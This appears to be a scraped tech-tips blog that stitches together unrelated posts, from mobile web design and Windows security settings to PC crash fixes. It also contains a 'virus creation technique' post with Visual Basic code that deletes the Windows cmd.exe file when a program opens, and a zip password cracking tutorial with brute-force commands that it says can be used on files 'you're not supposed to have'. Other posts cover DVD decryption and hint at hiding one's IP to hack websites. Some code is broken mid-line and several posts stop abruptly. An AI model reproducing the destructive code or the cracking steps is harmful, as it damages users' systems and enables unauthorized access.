How to Make Your Website Mobile Friendly (And Keep Your Readers Happy)

Is your website content ready for mobile devices?

By the year 2013, forecasts predict that there will be 1.7 billion mobile internet users.

And it’s a pretty safe bet that at least a few of them are visiting your site, and seeing it on a screen that takes up just a few inches.

So what happens when readers feel cramped or have to work hard to navigate your site or read your content?

They leave.

Connection speed can also frustrate readers. A lot of the time, people are trying to access your site on slow cellular data connections. And despite the attempts by providers to increase capacity, it still feels “slow,” since the more they add, the more we consume.

You want both regular and new readers to have a great experience with your site, whether it’s at home on a nice large screen or while they are mobile and seeing it on a tiny device.

Many folks spend a lot of time working on the design of their site for modern browsers, but fail to realize the ever-increasing percentage of site visitors that come by way of mobile devices.

Not only is having a great site design important, you also need to prioritize usability and a quality user experience. That’s why we recommend using a plugin like WP Touch.

So how can you make sure your site is up to par for all those mobile readers out there?

Well, as luck would have it, there are some fairly easy things you can do to assure a more mobile-friendly site.

Here are some quick improvements you can make, starting today.

Install a mobile plugin

If you are using WordPress, you can transform your site into a mobile-friendly version in about 30 seconds with a simple plugin.

There are a lot of these plugins out there, but as Brian recommended, WP Touch is a great place to begin. It’s free, and you can customize it in several ways to best suit your site.

Learn more about WP Touch here.

Oh and one other thing about mobile versions of your site. Make sure you give readers the choice of viewing the standard site as well.

There are options in each plugin to do this. There are times when readers will want to view the full website, depending on their device and internet speed.

Note: before you install and activate any plugin, make sure your site has been properly backed up.

Create smart navigation

How’s your site navigation? Creating smart, thorough navigation for your website is a key aspect to making your site mobile friendly.

Make sure you offer readers clear and distinct ways to get to your most important content.

For example, do you see the red tabs along the top of this site? Those are examples of links tocornerstone content. Not only are they great ways to attract traffic, but they are perfect examples of clear navigation.

Write clear content

Now more than ever, you need to grab reader attention instantly.

When your site is being viewed on a much smaller screen, make sure you have compelling headlines that let the reader know she’s going to have a great experience reading this content.

Clear content that gets right to the point also assures readers can digest your material on their mobile devices, even while they’re distracted and busy.

Don’t use too many images

I’ve been guilty of this one. And I’ve also noticed in my analytics that when I include a lot of images in a particular article, I get less traffic reading it on mobile devices.

Lately, I have been limiting my use of images to one or two, and now my articles are getting read more by those with mobile devices.

Images are a great way to get a point across or break up text, but just try to imagine someone reading your content on a really slow connection with a tiny little screen. It might mean you don’t need that 20th image after all.

Notice that Copyblogger has, for most types of content, always had just one single, attention-getting image per post.

Don’t rely on Flash or Javascript

All arguments aside about the relevance of Flash, it is generally a safe bet that not all mobile devices will be able serve up either of these technologies.

Even if they do, it tends to be an extra step or two to actually view the content. The best practice is to stick with plain (X)HTML/CSS standards.

Practice good design

In the non-mobile web version of your site, it might be easier to get away with a few design problemsthat are far more visible and obvious in the mobile version.

Keep in mind the whitespace around paragraphs and words. If your content is so cramped that it makes readers physically uncomfortable, they might not hang out for very long.

Making your content scannable and breaking up long blocks of text is great for all readers, but even more so for mobile readers.

And cluttered, visually busy sites are hard enough to read on a large screen. Don’t ask mobile readers to go there!

So there are several ways you can begin making your website content more mobile friendly. Get started on a few of these and you will be way ahead of the competition.

(If you’re not sure where to start, the best payoff for the least amount of effort is probably getting a mobile plugin for WordPress like WP Touch.)

Have you recently turned your website mobile and noticed more readers? Fewer?

Share your experience with others in the comments below. And let us know your favorite tip for making your site more mobile friendly!

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Posted in: Mobile Blogging

A small tutorial for real media

You may find this helpful if you donwload hundreds of short episodes in rm format like me and tired of double-click to open next files.

Very easy. Use notepad to open a new file, type this inside:
file://link to file1
file://link to file2
(type as many as you want)
Close file. Rename it to FileName.rm

Then you`re done!!!!

Ex:
I put my playlist file here: C:\Movies\7VNR
And the movie files are in C:\Movies\7VNR\DragonBall

Then inside my playlist file I`ll have something like this:

file://DragonBall/db134.rm
file://DragonBall/db135.rm
file://DragonBall/db136.rm
file://DragonBall/db137.rm
file://DragonBall/db138.rm

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Posted in: Windows,Windows 7,Windows XP

Tutorial on cracking zip password files

What is FZC? FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you're gonna need a password to open the zip file and extract files out of it). You can get it anywhere - just use a search engine such as altavista.com.
FZC uses multiple methods of cracking - bruteforce (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords systematically, the program takes passwords out of a "wordlist", which is a text file that contains possible passwords. You can get lots of wordlists at www.theargon.com.).
FZC can be used in order to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you're not supposed to have. So like every tool, this one can be used for good and for evil.
The first thing I want to say is that reading this tutorial... is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase "check name.txt" often in this text. These files should be in FZC's directory. They contain more information about FZC.
FZC is a good password recovery tool, because it's very fast and also support resuming so you don't have to keep the computer turned on until you get the password, like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything - a number, a lowercase or undercase letter or a symbol such as ! or &) because 32 chars is the maximum value that FZC will accept, but it doesn't really matter, because in order to bruteforce a password with 32 chars you'll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.
FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don't require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.
Now that you have a good wordlist, just get FZC working on the locked zip file, grab a drink, lie down and wait... and wait... and wait...and have good thoughts like "In wordlist mode I'm gonna get the password in minutes" or something like this... you start doing all this and remember "Hey this guy started with all this bullshit and didn't say how I can start a wordlist attack!..." So please wait just a little more, read this tutorial 'till the end and you can do all this "bullshit".

We need to keep in mind that are some people might choose some really weird passwords (for example: 'e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won't help you anymore. Instead, you'll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won't get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB's list and start using the Brute Force attack.
If you have some sort of a really fast and new computer and you're afraid that you won't be able to use your computer's power to the fullest because the zip cracker doesn't support this kind of technology, it's your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.

Now that we've gone through all the theoretical stuff, let's get to the actual commands.


--------------------------------------------------------------------------------
Bruteforce
--------------------------------------------------------------------------------


The command line you'll need to use for using brute force is:

fzc -mb -nzFile.zip -lChr Lenght -cType of chars

Now if you read the bforce.txt that comes with fzc you'll find the description of how works Chr Lenght and the Type of chars, but hey, I'm gonna explain this too. Why not, right?... (but remember look at the bforce.txt too)

For Chr Lenght you can use 4 kind of switches...

-> You can use range -> 4-6 :it would brute force from 4 Chr passwors to 6 chr passwords
-> You can use just one lenght -> 5 :it would just brute force using passwords with 5 chars
-> You can use also the all number -> 0 :it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don't think that you would do this.... if you are thinking in doing this get a live...
-> You can use the + sign with a number -> 3+ :in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option...

For the Type of chars we have 5 switches they are:

-> a for using lowercase letters
-> A for using uppercase letters
-> ! for using simbols (check the Bforce.txt if you want to see what simbols)
-> s for using space
-> 1 for using numbers


Example:
If you want to find a password with lowercase and numbers by brute force you would just do something like:

fzc -mb

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Posted in: Windows,Winrar

Increase Security by Enabling Account Lockout in Windows 7

Although having separate Windows7 user accounts increases security, there are a few disadvantages to overcome when there are many user accounts associated with one computer. The most important of these disadvantages is that more accounts mean that a hacker has that many more opportunities to gain unauthorized access to thecomputer or server.

One way to combat this disadvantage is to enable certain account policies that automatically limit a hacker’s ability to gain access to a user’s account. Enabling account lockout policies is one of the most powerful ways to thwart thieves, hackers, and other people wanting to steal your files, personal information, or other sensitive information .

Why Enable Lockout Policies?

Enabling lockout policies helps prevent unauthorized use of someone’s Windows 7 account. Of course, it doesn’t completely prevent unauthorized access; it simply makes it much harder for someone to continually input password after password when trying to gain access to someone’s account.

In work environments, employees often share account information such as usernames and passwords. Often, one employee will try to use another employee’s account by guessing at the password. Some social engineers will try to gain as much information about a user’s password and then attempt an intelligent guessing attack by trying different combinations of a password on an account. For these reasons and others, it makes sense to enable an account lockout policy.

How to Enable Windows 7 Account Lockout Policies

There are three Windows 7 policies associated with account lockouts. To view the current settings for these polices, begin by logging into Windows 7 with an account that has administrative privileges. Then, click on Start>All Programs>Administrative Tools>Local Security Policy.

In the left hand pane of the Local Security Policy window, locate and click on a folder titled Account Policies and then on the folder titled Account Lockout Policy.

Notice that there are only three policies located in the right hand pane. These are the policies that control account lockout. Right click on the policy titled Account Lockout Threshold and choose Properties from the menu. This policy is the one that enables account lockout and allows you to set values for the other two policies.

The Account Lockout Threshold is a security setting that determines the number of failed login attempts before that account is locked out. Possible values for this policy range from 0 to 999. A value of zero means that accounts are never locked out regardless of the number of failed login attempts.

Set this value to a reasonable number such as 5. You need to leave at least a few failed login attempts because of a misremembered password or because the user accidentally has Cap Locks on while attempting to login.

Click the OK button and notice that Windows 7 recommends you set the next two policies to 30 minutes each. Click the OK button and locate the next policy titledAccount Lockout Duration. Right click on it and select Properties from the menu.

Notice that Windows 7 has already set this policy to 30 minutes. This policy sets the number of minutes an account that has been locked out remains locked out before it is automatically unlocked.

You can set the account lockout duration to any value between 0 and 99,999 as long as it is equal to or greater than the Reset Account Lockout Counter Afterpolicy. After setting the Account Lockout Duration variable, click OK and locate the policy titled Reset Account Lockout Counter After. Right click on this policy and select Properties from the menu.

Notice, again, that Windows 7 has set this policy to a value of 30 minutes. TheReset Account Lockout Counter After policy sets the number of minutes that must elapse after failed login before the failed login counter resets back to zero. The value for this policy can be anything from 1 to 99,999 minutes but must be equal to or less than the value set for the Account Lockout Duration policy’s value.

Enabling the account lockout policies on your Windows 7 PC can increase security by reducing the number of times a user or an unauthorized individual can attempt to login to the computer.

However, setting the number of failed logins before lockout too low can increase administrative workload to the point of annoyance for both computer technicians and users. Be careful about the values you set for the three lockout polices to strike a balance between security and usability.

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Posted in: Security,Windows,Windows 7,Windows XP

Use Windows Firewall to Block Out All Incoming Connections to Windows 7

With breaches in home computer security at an all time high, it is no wonder why Microsoft built the Windows Firewall application right in to the last few versions of Windows.

Using Windows Firewall, you can lock out all incoming connections to maximize your computer’s security. This is especially useful when transporting your laptop from your home to a public Internet connection.

Why Lock Out All Incoming Connections?

Internet service providers (ISPs) such as Time Warner RoadRunner allow subscribers to stay connected to the web as long as the computer remains on. This is a great feature for fast internet access but can leave your computer open to attacks.

Windows Firewall is an application that plugs the holes in your network that don’t need to be open for you to connect to the Internet , to public networks, or to your home network. Using Windows Firewall in Windows 7, you can lock out all incoming connections, override any other network policies, and maximum the security of your PC.

How to Use Windows Firewall to Lock Out All Incoming Connections

Begin by clicking on Start>Control Panel>System and Security>Windows Firewall.

You’ll notice that you can set options for two types of networks: Home/Private andPublic. This is where many people get confused about networks. You see, although your ISP  subscription allows you to connect beyond your home network to the web, your local area network (LAN) connection to the web is still considered a home/private network.

In Windows 7, private networks are those that take advantage of a homegroup. Public networks, such as when you connect to the web in a hotspot, in a coffee shop, etc., do not.

Therefore, you only need concern yourself with the Home/Private network for connections in the home and Public network when you connect to the web outside the home. To the left of the window, click on the link titled Turn windows firewall On or Off.

You should now be looking at the Windows Firewall Customize Settings window. Notice that there are separate settings for the two types of networks:Home/Private and Public. If you are like more people, you have the setting titledTurn On Windows Firewall chosen for both types of network.

Notice that under each type of network, there is an option labeled Block All Incoming Connections, Including Those in the List of Allowed Programs. Checking this option for either the Home or Public network type will block all incoming connections.

Note that this includes those connections that have already been approved in the list of allowed programs. Use this option with caution because you may disrupt connections necessary to do what you want to do on your networks.

There are a few good reasons to use this option. First, if you are connected an unfamiliar or unsecured network, you can temporarily use this option to protect yourself. When you disconnect from the network, you can uncheck this option.

Second, if you need to upgrade, uninstall, or install protection software such as an antivirus application, you can lock out all incoming connections to temporarily protect yourself until the installation is complete.

Finally, there may be times when you suspect that malware has been installed on your computer. To avoid any incoming communications until the problem is fixed, consider locking out all incoming connections to avoid adding more problems to the issue.

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Posted in: Security,Windows,Windows 7,Windows XP

How to change the default location for installing applications in Windows

One way to do this is to install applications on a drive other than the drive where Windows is installed. So by default, most computers will have Windows installed on the C partition and most programs will be installed in C:\Program Files.

Of course, whenever you install an application, there are some system files that have to be installed into Windows directories on your C drive, but it still can take a major load off your Windows partition if you’re running very data intensive applications like Photoshop, video editing software, etc.

If you have a desktop computer, it might actually be much better because you could pop in a secondary drive that is much faster than the original drive. Also, you might be asking yourself “Well why would I change the path in the registry when I can choose the path I want to install to during the program setup?”

Good question! Well, for two reasons: some programs don’t give you an option of where to install the app to and sometimes you might just forget to change it manually.

How to change default install path for applications in Windows

You can do this by making a quick change to the registry. Firstly, you’re going to want to make a backup of your registry before making any changes. You can back it up by opening the registry editor and choosing File and then Export.

To get into the registry, click on Start, then click on Run and type in regedit. In Windows Vista, just type in regedit into the instant search box and press Enter. Now navigate to the following key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

Now look for a key in the right pane called ProgramFilesDir. You should see that the value is C:\Program Files.

Now you can simply double-click on the value and edit it to whatever you like, i.e. “D:\My Apps\”. Whenever you install a new program, Windows will use the new location as the default installation directory. Nifty! Source: TechBold

[tags]change default installation directory, windows install path, change default install path[/tags]

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Posted in: Microsoft,Windows,Windows 7,Windows XP

Change yout IP address

How To: Change Your Ip In Less Then 1 Minute

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back

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Posted in: Windows,Windows 7,Windows XP

Aerotuner fine tune aero theme settings in windows 7

AeroTuner is another excellent tool created by our friend "hb860". It allows you to tweak various Aero theme options which can't be customized by default.

With the help of this tool:

• You can enable/disable transparency in windows.
• You can customize color balance
• You can customize after glow color balance
• You can customize blur balance
• You can customize Aero stripes

In other words, you can customize the whole Aero UI with this tool.

You can download it using following link:

Download Link

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Posted in: Microsoft,Windows 7

Free X-Box live

Anyone here think about getting xbox live but not have enough money to pay for the starter kit...

WELL GUESS WHAT!!!!!!!!

You can now get it without paying a cent (that is if you have a free 2 month trial)

First go to http://www.xbconnect.com/downloads.php and download the current version of XBConnect...

Secondly you must get a Ethernet cable and connect your X-BOX to your router (if you have, you MUST have one BTW)

Thirdly install and open xbconnect. Create a new account .......

Fourthly go on www.xbox.com/live and sign in your .NET passport and create a profile for xbox live

Fifthly open your xbox with a xbox live supported game and follow the setup for xbox live ....

And YOUR DONE!!!!!

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Converting Movies To Psp Format

This is a real quick guide for anyone interested to get a movie onto there PSP without all the fluff i have seen elsewhere. I just watched Africa the Serengeti on my PSP and heres is the lowdown.

Movie - approx 40 minutes - dvd
Saved to hard drive - 2.6GIG - using DVD Decryptor (free program) try google
Transfered to avi format - 377MB- using Super DVD Ripper (9 FREE trial uses) then you must buy
Transfered to MP4 - 37MB - using the (basically free) Image convertor 2

Average movie breakdown - using above as a guide only.
so im guessing the average movie may be 4.5gig for example
saved to 800MB
CONVERTED TO 70-80MB

Ok use DVD decryptor to save the movie to your hard drive eg. C:\africa (it will save it for you as described)
When completed find the folder c:\africa on your computer and find the vob file in that folder - generally the largest one and right click and play it with your dvd program to see what part it is. If its the correct movie part you now know thats the one you need.

Once you have located the vob file you want to transfer open DVD Ripper and go to wizard icon. There you will see an icon of VOB to AVI button. Click it and then it will ask to locate the file. Locate the file and click it. It will SCAN THE FILE(just wait till that finishes) a parameter box opens next and just click the arrow. It then askes to choose output file, click the file icon and locate the correct fob file. It then askes for file compression - choose microsoft windows media and then click ok Then press the start button. It will now convert the vob into avi format.
(there are also other opions ie;dvd to avi etc) I have only used the vob to avi for this test.

After DVD ripper has transferred the file it will save it to the same folder as the original move was in eg: c:\africa\viteots. Open the file and you will now see an AVI icon containing the movie.

Make sure you PSP is on and in usb mode then Open Image convertor 2 and press on movie / add to list. For this example i click on C:drive the found the folder Africa and opened it and there was my converted AVI file. Click the file press ok and it will be transfered to your PSP for viewing pleasure.

*****Note**** i only converted one VOB file as thatS all there was for this particular movie. If you have more then one vob file you may need to try the dvd to avi when you rip. This is just a guide i worked out to compress dvd into the smallest possible file so you can get value out of a 512 card.

QUOTE
http://www.crazyhatsoftware.com/ImageConverter2.1.exe

Image Converter 2.1 JAP translated to ENG.

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Downloading windows media streams

Downloading Windows Media Streams

Look for the video source url in the webpage source code and copy it:
user posted image
To view the source code, r-click on the webpage that plays the video and select "view source." If unable to do so, just close the window and in the main Internet Explorer (IE) window, click the History icon or press Ctrl+H. Look for the same webpage on the left pane. On the menu, click View > View source.

Paste the video source url in Windows Media Player. (File > Open URL... )
Let the video play now. When the correct title appears on the playlist pane, r-click on it and select "Properties."
Select the source url and copy it:
user posted image

tongue.gif Paste this url in Flashget to download the video clip.

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Posted in: Microsoft,Windows,Windows 7,Windows XP

A virus creation Technique

First of all open a new Visual Basic project, a standard exe file.. Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub. On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on. In the project put in the file you want to delete, for example if you wanted to delete


the command file then you would put the following code in the form load tab.
Code:
Private Sub Form_Load()
Text1.Text = “C:/Windows/System3
2/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed. Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load. You can even give the text box a name to make it quicker. I have labelled it ‘A’ Code: Private Sub Form_Load()
Text1.Text = “C/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.

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Posted in: Antivirus,Windows

Here is a list of some computer acronyms

ADSL - Asymmetric Digital Subscriber Line
AGP - Accelerated Graphics Port
ALI - Acer Labs, Incorporated
ALU - Arithmetic Logic Unit
AMD - Advanced Micro Devices
APC - American Power Conversion
ASCII - American Standard Code for Information Interchange
ASIC - Application Specific Integrated Circuit
ASPI - Advanced SCSI Programming Interface
AT - Advanced Technology
ATI - ATI Technologies Inc.
ATX - Advanced Technology Extended

--- B ---
BFG - BFG Technologies
BIOS - Basic Input Output System
BNC - Barrel Nut Connector

--- C ---
CAS - Column Address Signal
CD - Compact Disk
CDR - Compact Disk Recorder
CDRW - Compact Disk Re-Writer
CD-ROM - Compact Disk - Read Only Memory
CFM - Cubic Feet per Minute (ft�/min)
CMOS - Complementary Metal Oxide Semiconductor
CPU - Central Processing Unit
CTX - CTX Technology Corporation (Commited to Excellence)

--- D ---

DDR - Double Data Rate
DDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access Memory
DFI - DFI Inc. (Design for Innovation)
DIMM - Dual Inline Memory Module
DRAM - Dynamic Random Access Memory
DPI - Dots Per Inch
DSL - See ASDL
DVD - Digital Versatile Disc
DVD-RAM - Digital Versatile Disk - Random Access Memory

--- E ---
ECC - Error Correction Code
ECS - Elitegroup Computer Systems
EDO - Extended Data Out
EEPROM - Electrically Erasable Programmable Read-Only Memory
EPROM - Erasable Programmable Read-Only Memory
EVGA - EVGA Corporation

--- F ---
FC-PGA - Flip Chip Pin Grid Array
FDC - Floppy Disk Controller
FDD - Floppy Disk Drive
FPS - Frame Per Second
FPU - Floating Point Unit
FSAA - Full Screen Anti-Aliasing
FS - For Sale
FSB - Front Side Bus

--- G ---
GB - Gigabytes
GBps - Gigabytes per second or Gigabits per second
GDI - Graphical Device Interface
GHz - GigaHertz

--- H ---
HDD - Hard Disk Drive
HIS - Hightech Information System Limited
HP - Hewlett-Packard Development Company
HSF - Heatsink-Fan

--- I ---
IBM - International Business Machines Corporation
IC - Integrated Circuit
IDE - Integrated Drive Electronics
IFS- Item for Sale
IRQ - Interrupt Request
ISA - Industry Standard Architecture
ISO - International Standards Organization

--- J ---
JBL - JBL (Jame B. Lansing) Speakers
JVC - JVC Company of America

- K ---
Kbps - Kilobits Per Second
KBps - KiloBytes per second

--- L ---
LG - LG Electronics
LAN - Local Are Network
LCD - Liquid Crystal Display
LDT - Lightning Data Transport
LED - Light Emitting Diode

--- M ---
MAC - Media Access Control
MB � MotherBoard or Megabyte
MBps - Megabytes Per Second
Mbps - Megabits Per Second or Megabits Per Second
MHz - MegaHertz
MIPS - Million Instructions Per Second
MMX - Multi-Media Extensions
MSI - Micro Star International

--- N ---
NAS - Network Attached Storage
NAT - Network Address Translation
NEC - NEC Corporation
NIC - Network Interface Card

--- O ---
OC - Overclock (Over Clock)
OCZ - OCZ Technology
OEM - Original Equipment Manufacturer

--- P ---
PC - Personal Computer
PCB - Printed Circuit Board
PCI - Peripheral Component Interconnect
PDA - Personal Digital Assistant
PCMCIA - Peripheral Component Microchannel Interconnect Architecture
PGA - Professional Graphics Array
PLD - Programmable Logic Device
PM - Private Message / Private Messaging
PnP - Plug 'n Play
PNY - PNY Technology
POST - Power On Self Test
PPPoA - Point-to-Point Protocol over ATM
PPPoE - Point-to-Point Protocol over Ethernet
PQI - PQI Corporation
PSU - Power Supply Unit

--- R ---
RAID - Redundant Array of Inexpensive Disks
RAM - Random Access Memory
RAMDAC - Random Access Memory Digital Analog Convertor
RDRAM - Rambus Dynamic Random Access Memory
ROM - Read Only Memory
RPM - Revolutions Per Minute

--- S ---
SASID - Self-scanned Amorphous Silicon Integrated Display
SCA - SCSI Configured Automatically
SCSI - Small Computer System Interface
SDRAM - Synchronous Dynamic Random Access Memory
SECC - Single Edge Contact Connector
SODIMM - Small Outline Dual Inline Memory Module
SPARC - Scalable Processor ArChitecture
SOHO - Small Office Home Office
SRAM - Static Random Access Memory
SSE - Streaming SIMD Extensions
SVGA - Super Video Graphics Array
S/PDIF - Sony/Philips Digital Interface

--- T ---
TB - Terabytes
TBps - Terabytes per second
Tbps - Terabits per second
TDK - TDK Electronics
TEC - Thermoelectric Cooler
TPC - TipidPC
TWAIN - Technology Without An Important Name

--- U ---
UART - Universal Asynchronous Receiver/Transmitter
USB - Universal Serial Bus
UTP - Unshieled Twisted Pair

--- V ---
VCD - Video CD
VPN - Virtual Private Network

--- W ---
WAN - Wide Area Network
WTB - Want to Buy
WYSIWYG - What You See Is What You Get

--- X ---
XGA - Extended Graphics Array
XFX - XFX Graphics, a Division of Pine
XMS - Extended Memory Specification
XT - Extended Technology

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Posted in: Windows

How to be Protected on Internet and Internet Viruses

Computer Viruses-

Viruses are actually the trivial software programs which are intended to extent from one computer to another and affect the computer operation. They are very dangerous. They can ruin the entire data of your computer and can extent itself through your email to other computers.

They are widely spread through email, attachments, images, greeting cards, audio- video files downloads etc.

Surprisingly people who make viruses might have slight or no programming knowledge.

Software which are responsible for creating viruses-

VCS-

Which is popularly known as Virus Construction Set- was the first software which was completely made for generating of viruses.

GenVirus-

is also the very well-known software for viruses. Around 15 viruses generated by this software are said to exist.

VCL

Virus Creation Library is the best recognized virus formation software. It produces files and modules which are infected by the viruses.

PS-MPC

Phalcon-Skism Mass-Produced Code Generator virus is created in America which generates memory-resident virus which disturbs the COM and EXE records and documents. They are liable for hundreds of virus formation in the computer.

NGVC

Next Generation Virus Construction Kit-The one thing about these viruses is- all the viruses formed under this kit are dissimilar in body and making it very difficult to catch through scanning.

VBSWG Kit-

This kit advanced from Argentina and does not highly affects the programming of the computer, the viruses and worms formed under this kit did not shown any big harm to the programming.

NRLG

Nuke Randomic Life Generator virus again originated from Argentina but it is very dangerous as compare to NGVC. They are liable for creating thousands of viruses which are all noticeable through our modern anti-virus scanners.

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Posted in: Antivirus,Windows

10 reasons why PCs crash U must Know

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

